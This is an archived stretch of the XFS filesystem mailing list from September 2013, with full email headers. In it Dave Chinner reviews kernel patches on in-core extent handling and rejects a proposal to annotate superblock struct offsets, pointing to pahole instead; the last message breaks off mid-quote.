AigHAPKJP1J5LLrX/2dsb2JhbABZgwe8coVIgRQXdIIlAQEEAScTHCMFCwgDFQMJJQ8FJQMhE4d/BboIFo9PB4QeA5d7kXiBZoFQKg Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Sep 2013 09:55:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VNtxI-0003yd-DY; Mon, 23 Sep 2013 10:24:48 +1000 Date: Mon, 23 Sep 2013 10:24:48 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the extent count when allocating an new indirection array entry Message-ID: <20130923002448.GL12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the extent count when allocating an new indirection array entry References: <523DAF67.9070206@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523DAF67.9070206@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379895943 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Sep 21, 2013 at 10:38:31PM +0800, Jeff Liu wrote: > From: Jie Liu > > At xfs_iext_add(), if extent(s) are being appended to the last > page in the indirection array and the new extent(s) don't fit > in the page, the number of extents(erp->er_extcount) in a new > allocated entry should be the minimum value between count and > XFS_LINEAR_EXTS, instead of count. Definitely looks like a bug, but what are the symptoms of it and how did you find the problem? Is there any test case that demonstrates a problem with the er_extcount being set incorrectly here? > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_inode_fork.c | 8 ++++---- > 1 file changed, 4 insertions(+), 4 deletions(-) > > diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c > index 02f1083..dfb4226 100644 > --- a/fs/xfs/xfs_inode_fork.c > +++ b/fs/xfs/xfs_inode_fork.c > @@ -1035,11 +1035,11 @@ xfs_iext_add( > > while (count) { > erp = xfs_iext_irec_new(ifp, erp_idx); > - erp->er_extcount = count; > - count -= MIN(count, (int)XFS_LINEAR_EXTS); > - if (count) { > + erp->er_extcount = MIN(count, > + (int)XFS_LINEAR_EXTS); > + count -= erp->er_extcount; count is declared as an int, whereas XFS_LINEAR_EXTS probably ends up with a type of uint because of a cast in the macro. because we are decrementing to zero, the count can be declared as a uint, too, and the cast in the MIN() can go away. Indeed, MIN() should be converted to min() seeing as we are touching the code here, and if you want to retain the current types, the min_t() is appropriate, not min(x, (some cast)y).... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 22 19:36:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A366229DFB for ; Sun, 22 Sep 2013 19:36:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 73E198F8035 for ; Sun, 22 Sep 2013 17:36:35 -0700 (PDT) X-ASG-Debug-ID: 1379896593-04bdf02f211328fc0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 3oxRRtBBgg5FUc70 for ; Sun, 22 Sep 2013 17:36:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AigHAEyMP1J5LLrX/2dsb2JhbABZgwe8coVIgRQXdIIlAQEEAScTHCMFCwgDFQMJJQ8FJQMhE4d/BboMFo9PB4QeA5Qfg1yKOYc/gWaBUCo Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Sep 2013 10:06:21 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VNu8Q-0003zy-1a; Mon, 23 Sep 2013 10:36:18 +1000 Date: Mon, 23 Sep 2013 10:36:18 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Message-ID: <20130923003617.GM12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <523C5E92.8000406@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523C5E92.8000406@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379896593 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 20, 2013 at 10:41:22PM +0800, Jeff Liu wrote: > From: Jie Liu > > To free the incore file extents stores at the indirection array, we > call the common routine xfs_iext_irec_remove() to remove a record > from the array one at a time in reverse order, which will resize an > extent indirection array repeatedly according to the array size. > > This is not often the case to make a file with thousands extent records > stores at an indirection array, but above operation is inefficient and > could result in memory fragments. Yes, it may be inefficient, but I don't see that it's a contributor to memory fragmentation as the reallocated buffer is freed shortly after it has been allocated as the array shrinks. Do you have any evidence to suggest that such behaviour is actually fragmenting memory? If so, is the any test case that reproduces this problem? How did you test the change? > This patch refine xfs_iext_destroy() by freeing the extent records from > the indirection array directly in this case. > > Signed-off-by: Jie Liu > --- FWIW, it is best to title a resend as [PATCH x/y, V2], and here tell us what changed between posts such as: V2: - fixed typo in original posting > fs/xfs/xfs_inode_fork.c | 7 +++++-- > 1 file changed, 5 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c > index 02f1083..ba70f98 100644 > --- a/fs/xfs/xfs_inode_fork.c > +++ b/fs/xfs/xfs_inode_fork.c > @@ -1525,9 +1525,12 @@ xfs_iext_destroy( > int nlists; > > nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; > - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { > - xfs_iext_irec_remove(ifp, erp_idx); > + for (erp_idx = 0; erp_idx < nlists; erp_idx++) { > + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; > + if (erp->er_extbuf) > + kmem_free(erp->er_extbuf); > } > + kmem_free(ifp->if_u1.if_ext_irec); The code looks correct... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 22 19:57:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 35E5B29DFB for ; Sun, 22 Sep 2013 19:57:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 018478F8035 for ; Sun, 22 Sep 2013 17:57:01 -0700 (PDT) X-ASG-Debug-ID: 1379897819-04bdf053873bb720001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id CDj1eomNlXgzwTQX for ; Sun, 22 Sep 2013 17:57:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AigHAPqQP1J5LLrX/2dsb2JhbABZgwe8coVIgRQXdIIlAQEFJxMcIxAIAxUDCSUPBSUDIROIBLoUFo9PB4QeA5d7ijmHP4M2Kg Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail04.adl6.internode.on.net with ESMTP; 23 Sep 2013 10:26:59 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VNuSP-00041d-Mp; Mon, 23 Sep 2013 10:56:57 +1000 Date: Mon, 23 Sep 2013 10:56:57 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() Message-ID: <20130923005657.GN12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() References: <523EA96B.3040904@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523EA96B.3040904@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1379897819 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Sep 22, 2013 at 04:25:15PM +0800, Jeff Liu wrote: > From: Jie Liu > > At xfs_iext_realloc_direct(), the new_size is changed by adding > if_bytes if originally the extent records are stored at the inline > extent buffer, and we have to switch from it to a direct extent > list for those new allocated extents, this is wrong. e.g, > > Create a file with three extents which was showing as following, > > xfs_io -f -c "truncate 100m" /xfs/testme > > for i in $(seq 0 5 10); do > offset=$(($i * $((1 << 20)))) > xfs_io -c "pwrite $offset 1m" /xfs/testme > done > > Inline > ------ > irec: if_bytes bytes_diff new_size > 1st 0 16 16 > 2nd 16 16 32 > > Switching > --------- rnew_size > 3rd 32 16 48 + 32 = 80 roundup=128 > > In this case, the desired value of new_size should be 48, and then > it will be roundup to 64 and be assigned to rnew_size. Ok, so it allocates 128 bytes instead of 64 bytes. It tracks that allocation size correctly ifp->if_real_bytes, and all it means is that there are 4 empty extra slots in the extent array. The code already handles having empty slots in the direct extent array, so what impact is there as a result of the oversized initial allocation that is currently happening? i.e. if fixing the oversized results in more memory allocations due to resizing more regularly, then is there a benefit to changing this code given that the rewrite of the ifp->if_bytes value in the case where we do inline->direct conversion prevents this over-allocation from being a problem... Cheers, Dave. -- Dave Chinner david@fromorbit.com From zhong@linux.vnet.ibm.com Sun Sep 22 22:34:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7B16429DFB for ; Sun, 22 Sep 2013 22:34:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D003AC003 for ; Sun, 22 Sep 2013 20:34:29 -0700 (PDT) X-ASG-Debug-ID: 1379907262-04cbb02c3b12e31a0001-NocioJ Received: from e28smtp05.in.ibm.com (e28smtp05.in.ibm.com [122.248.162.5]) by cuda.sgi.com with ESMTP id 1GGmIMMmd8Jm0MyF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 20:34:24 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.5 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] Received: from /spool/local by e28smtp05.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 23 Sep 2013 09:04:20 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.5] Received: from d28dlp03.in.ibm.com (9.184.220.128) by e28smtp05.in.ibm.com (192.168.1.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 23 Sep 2013 09:04:19 +0530 Received: from d28relay02.in.ibm.com (d28relay02.in.ibm.com [9.184.220.59]) by d28dlp03.in.ibm.com (Postfix) with ESMTP id BE7FB1258051 for ; Mon, 23 Sep 2013 09:04:29 +0530 (IST) Received: from d28av03.in.ibm.com (d28av03.in.ibm.com [9.184.220.65]) by d28relay02.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8N3aZD441091274 for ; Mon, 23 Sep 2013 09:06:35 +0530 Received: from d28av03.in.ibm.com (localhost [127.0.0.1]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8N3YIum008823 for ; Mon, 23 Sep 2013 09:04:18 +0530 Received: from [9.111.43.232] (thinkpad-t5421.cn.ibm.com [9.111.43.232]) by d28av03.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8N3YGbt008771 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 09:04:17 +0530 Message-ID: <1379907255.3246.4.camel@ThinkPad-T5421> Subject: [RFC PATCH] xfsprogs: add hex offset for superblock structure From: Li Zhong X-ASG-Orig-Subj: [RFC PATCH] xfsprogs: add hex offset for superblock structure To: xfsprogs Cc: Chandra Seetharaman Date: Mon, 23 Sep 2013 11:34:15 +0800 Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092303-8256-0000-0000-00000954F6FF X-Barracuda-Connect: e28smtp05.in.ibm.com[122.248.162.5] X-Barracuda-Start-Time: 1379907264 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 It would be a little bit easier if somebody uses something like hexdump to check the superblock of one device. Signed-off-by: Li Zhong --- include/xfs_sb.h | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/include/xfs_sb.h b/include/xfs_sb.h index c8d8898..bb9e2df 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -185,27 +185,27 @@ typedef struct xfs_sb { * Must be padded to 64 bit alignment. */ typedef struct xfs_dsb { - __be32 sb_magicnum; /* magic number == XFS_SB_MAGIC */ +/*00*/ __be32 sb_magicnum; /* magic number == XFS_SB_MAGIC */ __be32 sb_blocksize; /* logical block size, bytes */ __be64 sb_dblocks; /* number of data blocks */ - __be64 sb_rblocks; /* number of realtime blocks */ +/*10*/ __be64 sb_rblocks; /* number of realtime blocks */ __be64 sb_rextents; /* number of realtime extents */ - uuid_t sb_uuid; /* file system unique id */ - __be64 sb_logstart; /* starting block of log if internal */ +/*20*/ uuid_t sb_uuid; /* file system unique id */ +/*30*/ __be64 sb_logstart; /* starting block of log if internal */ __be64 sb_rootino; /* root inode number */ - __be64 sb_rbmino; /* bitmap inode for realtime extents */ +/*40*/ __be64 sb_rbmino; /* bitmap inode for realtime extents */ __be64 sb_rsumino; /* summary inode for rt bitmap */ - __be32 sb_rextsize; /* realtime extent size, blocks */ +/*50*/ __be32 sb_rextsize; /* realtime extent size, blocks */ __be32 sb_agblocks; /* size of an allocation group */ __be32 sb_agcount; /* number of allocation groups */ __be32 sb_rbmblocks; /* number of rt bitmap blocks */ - __be32 sb_logblocks; /* number of log blocks */ +/*60*/ __be32 sb_logblocks; /* number of log blocks */ __be16 sb_versionnum; /* header version == XFS_SB_VERSION */ __be16 sb_sectsize; /* volume sector size, bytes */ __be16 sb_inodesize; /* inode size, bytes */ __be16 sb_inopblock; /* inodes per block */ - char sb_fname[12]; /* file system name */ - __u8 sb_blocklog; /* log2 of sb_blocksize */ +/*6C*/ char sb_fname[12]; /* file system name */ +/*78*/ __u8 sb_blocklog; /* log2 of sb_blocksize */ __u8 sb_sectlog; /* log2 of sb_sectsize */ __u8 sb_inodelog; /* log2 of sb_inodesize */ __u8 sb_inopblog; /* log2 of sb_inopblock */ @@ -219,22 +219,22 @@ typedef struct xfs_dsb { * want to change their layout, make sure you fix the * code in xfs_trans_apply_sb_deltas(). */ - __be64 sb_icount; /* allocated inodes */ +/*80*/ __be64 sb_icount; /* allocated inodes */ __be64 sb_ifree; /* free inodes */ - __be64 sb_fdblocks; /* free data blocks */ +/*90*/ __be64 sb_fdblocks; /* free data blocks */ __be64 sb_frextents; /* free realtime extents */ /* * End contiguous fields. */ - __be64 sb_uquotino; /* user quota inode */ +/*A0*/ __be64 sb_uquotino; /* user quota inode */ __be64 sb_gquotino; /* group quota inode */ - __be16 sb_qflags; /* quota flags */ +/*B0*/ __be16 sb_qflags; /* quota flags */ __u8 sb_flags; /* misc. flags */ __u8 sb_shared_vn; /* shared version number */ __be32 sb_inoalignmt; /* inode chunk alignment, fsblocks */ __be32 sb_unit; /* stripe or raid unit */ __be32 sb_width; /* stripe or raid width */ - __u8 sb_dirblklog; /* log2 of dir block size (fsbs) */ +/*C0*/ __u8 sb_dirblklog; /* log2 of dir block size (fsbs) */ __u8 sb_logsectlog; /* log2 of the log sector size */ __be16 sb_logsectsize; /* sector size for the log, bytes */ __be32 sb_logsunit; /* stripe unit size for the log */ @@ -250,16 +250,16 @@ typedef struct xfs_dsb { /* version 5 superblock fields start here */ /* feature masks */ - __be32 sb_features_compat; +/*D0*/ __be32 sb_features_compat; __be32 sb_features_ro_compat; __be32 sb_features_incompat; __be32 sb_features_log_incompat; - __le32 sb_crc; /* superblock crc */ +/*E0*/ __le32 sb_crc; /* superblock crc */ __be32 sb_pad; __be64 sb_pquotino; /* project quota inode */ - __be64 sb_lsn; /* last write sequence */ +/*F0*/ __be64 sb_lsn; /* last write sequence */ /* must be padded to 64 bit alignment */ } xfs_dsb_t; -- 1.8.1.4 From david@fromorbit.com Sun Sep 22 23:13:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6DB6429DFB for ; Sun, 22 Sep 2013 23:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B810AC004 for ; Sun, 22 Sep 2013 21:13:42 -0700 (PDT) X-ASG-Debug-ID: 1379909620-04bdf02f2213342d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id CsRLCTNoi92tmxLn for ; Sun, 22 Sep 2013 21:13:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AigHAKu+P1J5LLrX/2dsb2JhbABZgwe8coVIgRQXdIIlAQEFOhwjEAgDGAklDwUlAyETiAS6QRaPTweEHgOXe5F4gzYq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail06.adl2.internode.on.net with ESMTP; 23 Sep 2013 13:43:39 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VNxWh-0004MD-Oh; Mon, 23 Sep 2013 14:13:35 +1000 Date: Mon, 23 Sep 2013 14:13:35 +1000 From: Dave Chinner To: Li Zhong Cc: xfsprogs , Chandra Seetharaman Subject: Re: [RFC PATCH] xfsprogs: add hex offset for superblock structure Message-ID: <20130923041335.GU9901@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH] xfsprogs: add hex offset for superblock structure References: <1379907255.3246.4.camel@ThinkPad-T5421> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1379907255.3246.4.camel@ThinkPad-T5421> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1379909620 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140839 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 11:34:15AM +0800, Li Zhong wrote: > It would be a little bit easier if somebody uses something like hexdump > to check the superblock of one device. NACK. If you want this information, use pahole. Cheers, Dave. $ pahole fs/xfs/xfs_sb.o |grep -A 61 "struct xfs_dsb" struct xfs_dsb { __be32 sb_magicnum; /* 0 4 */ __be32 sb_blocksize; /* 4 4 */ __be64 sb_dblocks; /* 8 8 */ __be64 sb_rblocks; /* 16 8 */ __be64 sb_rextents; /* 24 8 */ uuid_t sb_uuid; /* 32 16 */ __be64 sb_logstart; /* 48 8 */ __be64 sb_rootino; /* 56 8 */ /* --- cacheline 1 boundary (64 bytes) --- */ __be64 sb_rbmino; /* 64 8 */ __be64 sb_rsumino; /* 72 8 */ __be32 sb_rextsize; /* 80 4 */ __be32 sb_agblocks; /* 84 4 */ __be32 sb_agcount; /* 88 4 */ __be32 sb_rbmblocks; /* 92 4 */ __be32 sb_logblocks; /* 96 4 */ __be16 sb_versionnum; /* 100 2 */ __be16 sb_sectsize; /* 102 2 */ __be16 sb_inodesize; /* 104 2 */ __be16 sb_inopblock; /* 106 2 */ char sb_fname[12]; /* 108 12 */ __u8 sb_blocklog; /* 120 1 */ __u8 sb_sectlog; /* 121 1 */ __u8 sb_inodelog; /* 122 1 */ __u8 sb_inopblog; /* 123 1 */ __u8 sb_agblklog; /* 124 1 */ __u8 sb_rextslog; /* 125 1 */ __u8 sb_inprogress; /* 126 1 */ __u8 sb_imax_pct; /* 127 1 */ /* --- cacheline 2 boundary (128 bytes) --- */ __be64 sb_icount; /* 128 8 */ __be64 sb_ifree; /* 136 8 */ __be64 sb_fdblocks; /* 144 8 */ __be64 sb_frextents; /* 152 8 */ __be64 sb_uquotino; /* 160 8 */ __be64 sb_gquotino; /* 168 8 */ __be16 sb_qflags; /* 176 2 */ __u8 sb_flags; /* 178 1 */ __u8 sb_shared_vn; /* 179 1 */ __be32 sb_inoalignmt; /* 180 4 */ __be32 sb_unit; /* 184 4 */ __be32 sb_width; /* 188 4 */ /* --- cacheline 3 boundary (192 bytes) --- */ __u8 sb_dirblklog; /* 192 1 */ __u8 sb_logsectlog; /* 193 1 */ __be16 sb_logsectsize; /* 194 2 */ __be32 sb_logsunit; /* 196 4 */ __be32 sb_features2; /* 200 4 */ __be32 sb_bad_features2; /* 204 4 */ __be32 sb_features_compat; /* 208 4 */ __be32 sb_features_ro_compat; /* 212 4 */ __be32 sb_features_incompat; /* 216 4 */ __be32 sb_features_log_incompat; /* 220 4 */ __le32 sb_crc; /* 224 4 */ __be32 sb_pad; /* 228 4 */ __be64 sb_pquotino; /* 232 8 */ __be64 sb_lsn; /* 240 8 */ /* size: 248, cachelines: 4, members: 54 */ /* last cacheline: 56 bytes */ }; -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Sun Sep 22 23:46:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0186629DFB for ; Sun, 22 Sep 2013 23:46:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D35E9304032 for ; Sun, 22 Sep 2013 21:46:43 -0700 (PDT) X-ASG-Debug-ID: 1379911601-04cb6c2e9f12f03b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id TgPIAMrDAcpdGs9F (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 21:46:41 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8N4kdRq018783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 23 Sep 2013 04:46:40 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N4kbNB023912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 23 Sep 2013 04:46:39 GMT Received: from abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8N4kb0K017238; Mon, 23 Sep 2013 04:46:37 GMT Received: from [192.168.1.104] (/221.223.100.112) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 22 Sep 2013 21:46:37 -0700 Message-ID: <523FC7DB.20204@oracle.com> Date: Mon, 23 Sep 2013 12:47:23 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() References: <523EA96B.3040904@oracle.com> <20130923005657.GN12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() In-Reply-To: <20130923005657.GN12541@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379911601 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140840 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, On 09/23/2013 08:56 AM, Dave Chinner wrote: > On Sun, Sep 22, 2013 at 04:25:15PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> At xfs_iext_realloc_direct(), the new_size is changed by adding >> if_bytes if originally the extent records are stored at the inline >> extent buffer, and we have to switch from it to a direct extent >> list for those new allocated extents, this is wrong. e.g, >> >> Create a file with three extents which was showing as following, >> >> xfs_io -f -c "truncate 100m" /xfs/testme >> >> for i in $(seq 0 5 10); do >> offset=$(($i * $((1 << 20)))) >> xfs_io -c "pwrite $offset 1m" /xfs/testme >> done >> >> Inline >> ------ >> irec: if_bytes bytes_diff new_size >> 1st 0 16 16 >> 2nd 16 16 32 >> >> Switching >> --------- rnew_size 